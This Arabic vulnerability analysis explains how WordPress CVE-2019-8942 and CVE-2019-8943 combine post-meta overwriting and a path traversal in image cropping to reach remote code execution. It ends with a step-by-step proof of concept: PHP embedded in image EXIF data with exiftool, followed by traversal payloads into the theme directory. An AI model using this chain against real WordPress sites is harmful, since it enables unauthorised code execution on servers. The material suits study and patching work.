
تحليل تقني مفصل واستغلال إثبات المفهوم لثغرات RCE في WordPress CVE-2019-8942 وCVE-2019-8943، موضحًا LFI-to-RCE عبر اجتياز المسار والتلاعب برفع الصور.
CVE-2019-8942 هو ثغرة تستغل خطأ LFI مع ميزة رفع الملفات (File Upload) لتنفيذ أوامر (RCE) على خادم ووردبريس بصلاحية author. الإصدارات المتأثرة من ووردبريس هي قبل 4.9.9 و5.x حتى قبل 5.0.1، مما يسمح بتنفيذ كود عن بُعد لأن قيمة wp_attached_file في Post Meta يمكن تغييرها إلى أي سلسلة نصية، مثل: .jpg?file.php. يمكن للمهاجم الذي يمتلك صلاحية author تنفيذ أي كود عن طريق رفع ملفات صور تحتوي على كود PHP خبيث في بيانات Exif الوصفية. يمكن استغلال هذا مع CVE-2019-8943.
في CVE-2019-8943، تعاني ووردبريس حتى الإصدار 5.0.3 من ثغرة اجتياز المسار (Path Traversal) في الدالة wp_crop_image(). يمكن للمهاجم الذي لديه صلاحية استخدام ميزة قص الصور (author) كتابة ملف صورة إلى أي مجلد باستخدام اسم ملف يحتوي على امتدادين مثل .jpg?/../../file.jpg.
author.السبب الرئيسي الذي يسمح للمستخدم بتنفيذ RCE هو خطأ يمكن معه الكتابة فوق بيانات Post meta.
يمكن فهم البيانات الوصفية (Meta data) على أنها بيانات تصف البيانات؛ في هذه الحالة تحديدًا، البيانات الوصفية هي معلومات المدونة مثل: العنوان، تاريخ النشر، اسم المؤلف، إلخ.
في شفرة ووردبريس المصدرية للإصدار 4.9.8، عند تحديث صورة، يتم استدعاء الدالة edit_post(). الجدير بالملاحظة هنا أن هذه الدالة تتعامل مباشرة مع مصفوفة $_POST. كما أن wp_update_post يأخذ $post_data كمعامل مباشرة دون التحقق من الحقول المسموح تعديلها.
function edit_post( $post_data = null ) {
global $wpdb;
if ( empty($post_data) )
$post_data = &$_POST;
...
if ( isset($post_data['meta']) && $post_data['meta'] ) {
foreach ( $post_data['meta'] as $key => $value ) {
if ( !$meta = get_post_meta_by_id( $key ) )
continue;
if ( $meta->post_id != $post_ID )
continue;
if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) )
continue;
if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
continue;
update_meta( $key, $value['key'], $value['value'] );
}
}
...
update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
$success = wp_update_post( $post_data );
if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
$fields = array( 'post_title', 'post_content', 'post_excerpt' );
foreach ( $fields as $field ) {
if ( isset( $post_data[ $field ] ) ) {
$post_data[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $post_data[ $field ] );
}
}
wp_update_post( $post_data );
}
wp-admin/includes/post.php
يمكن للمستخدم الذي لديه صلاحية نشر المقالات الكتابة فوق قيم Post Meta. وبشكل أكثر تحديدًا، يمكن للمهاجم تعديل قيمة البيانات الوصفية _wp_attached_file. هذا لا يغيّر اسم الملف، بل يغيّر فقط الملف الذي يتعامل معه ووردبريس عند إجراء التعديل، مما يؤدي إلى استغلال Path Traversal.

wp_postmetaقبل بدء الاستغلال
يمكن ملاحظة أن الملف المرفوع له الصيغة YYYY/MM/name.jpg، ويقوم ووردبريس بحفظ الملف في المجلد YYYY/MM/، وهذا يذكّرنا باستغلال Path Traversal.
في الدالة wp_crop_image()، عندما يقوم مستخدم بصلاحية author بقص صورة، يتحقق ووردبريس من وجود الصورة بطريقتين؛ الأولى: البحث عن الصورة بناءً على _wp_attached_file في مجلد wp-content/uploads.
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
$src_file = $src;
if ( is_numeric( $src ) ) { // Handle int as attachment ID
$src_file = get_attached_file( $src );
if ( ! file_exists( $src_file ) ) {
// If the file doesn't exist, attempt a URL fopen on the src link.
// This can occur with certain file replication plugins.
$src = _load_image_to_edit_path( $src, 'full' );
} else {
$src = $src_file;
}
}
$editor = wp_get_image_editor( $src );
...
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
wp-admin/includes/image.php
إذا فشلت الطريقة السابقة، يقوم ووردبريس بتحميل الصورة من خادمه الخاص عبر إنشاء URL يحتوي على المسار إلى مجلد wp-content/uploads واسم الملف الموجود في _wp_attached_file. ويتم محاولة تنزيل الصورة بدلاً من جلبها محليًا لأنه في بعض الحالات تقوم بعض الإضافات بتوليد الصورة عندما يتم إرسال هذا الرابط.
عندما ينجح ووردبريس في تحميل الصورة عبر الدالة wp_get_image_editor()، تتم عملية قص الصورة. ثم يتم حفظ الصورة المقتصّة في نظام الملفات. اسم الملف هو قيمة المتغير $src التي يعيدها get_post_meta() وتكون خاضعة لتحكم المهاجم. يقوم ووردبريس بإنشاء مجلد باستخدام الدالة wp_mkdir_p() (السطر 9)، وحفظ الصورة فيه عبر save(). ومن الواضح أن الدالة save() لا تتحقق من استغلال Path Traversal.
...
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
if ( is_wp_error( $src ) )
return $src;
if ( ! $dst_file )
$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
wp_mkdir_p( dirname( $dst_file ) );
$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
$result = $editor->save( $dst_file );
عند استخدام حمولة (payload) تُمرَّر إلى _wp_attached_file تحتوي على الأحرف #/../../، فإن هذا المسار لن يكون موجودًا عند استخدام الطريقة الأولى لتحميل الصورة، لذلك سيلجأ ووردبريس إلى الطريقة الثانية وهي إنشاء URL لتنزيل الصورة. عندها سيكون المسار بالشكل http://localhost/wp-admin/wp-content/uploads/YYYY/MM/name.jpg#/name.jpg، وبما أنه رابط URL، سيتم تجاهل الأحرف بعد # (التي تمثل الجزء المقطعي fragment). اسم الملف الذي سيتم العثور عليه سيكون name.jpg#/name.jpg حيث يكون name.jpg# مجلدًا واسمًا صالحًا. بعد ذلك يتم استخدام حمولة مثل /name.jpg#/../../name.jpg لاستغلال Path Traversal.

يمكن ملاحظة أن حقول القيم مثل
_wp_attach_fileأو_wp_page_templateقد تم تعديلها
Path Traversal إلى RCE
كل موقع ووردبريس يستخدم نوعًا واحدًا من القوالب (theme) وفي الوقت نفسه يحتوي على مجلد /wp-content/themes/theme_name/ يضم ملفات القوالب. في بعض الحالات، يكون اختيار القالب لمقال معين ممكنًا. كل ما يحتاجه المستخدم هو تعيين _wp_page_template في جدول Post Meta إلى اسم الملف المطلوب. لكن هذا محدود لأنه ينطبق فقط على الملفات الموجودة داخل مجلد القالب. عادةً لا يمكن الوصول إلى هذا المجلد أو رفع الملفات إليه. ومع ذلك، يمكننا استغلال ثغرة Path Traversal لكتابة ملف في هذا المجلد. سيقوم المهاجم بصلاحية author بإنشاء مقال والكتابة فوق ملف صورة في قيمة المعامل _wp_page_template. سيتم حقن كود PHP خبيث في ملف الصورة، وعند تحميل الصورة، سيتم تنفيذ كود PHP وبالتالي تحقيق RCE.
الخطوة 1: استخدم wpscan لتحديد القالب الذي يستخدمه الموقع => twentyseventeen

الخطوة 2: حقن كود PHP خبيث في الصورة باستخدام أداة Exiftool
exiftool demo.jpg -documentname="<?php phpinfo();?>"

الخطوة 3: سجّل الدخول إلى لوحة إدارة الموقع بحساب author، ثم انتقل إلى الوسائط (Media) -> إضافة جديد (Add new) -> رفع صورة.

الخطوة 4: افتح الصورة. اضغط على Edit more details

الخطوة 5: اضغط Update واستخدم Burpsuite لاعتراض الطلب (intercept request) -> ثم أرسله إلى Repeater


الخطوة 6: اضغط Edit image وقم بقص الصورة ثم اضغط Save. اعترض طلب حفظ الصورة وأرسله إلى Repeater.


الخطوة 7: استخدم الطلب من الخطوة 5، وأضف المعامل &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/file إلى الطلب. سيقوم هذا الطلب بإنشاء مجلد file.jpg# ونسخ الصورة file إلى هذا المجلد.
الخطوة 8: أرسل الطلب من الخطوة 6 لحفظ الصورة. لاحظ أنه تم إنشاء المجلد file.jpg# وحُفظت الصورة في المجلد YYYY/MM/file.jpg#.
الخطوة 9: على غرار الخطوة 7، استخدم الطلب من الخطوة 5، وأضف المعامل &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/../../../../themes/twentyseventeen/file إلى الطلب. وبمعرفة بنية مجلدات ووردبريس واسم القالب، يمكننا إنشاء حمولة مثل ما سبق.

الخطوة 10: أرسل الطلب من الخطوة 6 لحفظ الصورة. لاحظ أنه تم حفظ الصورة في المسار الجديد.

الخطوة 11: انتقل إلى المقالات (Posts) -> إضافة جديد (Add new). اضغط Publish. اعترض الطلب وأرسله إلى Repeater.

الخطوة 12: استخدم الطلب من الخطوة 11، وأضف المعامل &meta_input[_wp_page_template]=cropped image حيث cropped image هو اسم ملف الصورة من الخطوة 10.

الخطوة 13: افتح المقال أعلاه ولاحظ تنفيذ الكود الخبيث الموجود داخل الصورة.

الحمولة المستخدمة عبر 3 طلبات:
&meta_input[_wp_attached_file]=year/month/file#/file
&meta_input[_wp_attached_file]=year/month/file#/../../../../themes/twentyseventeen/file
&meta_input[_wp_page_template]=<cropped image>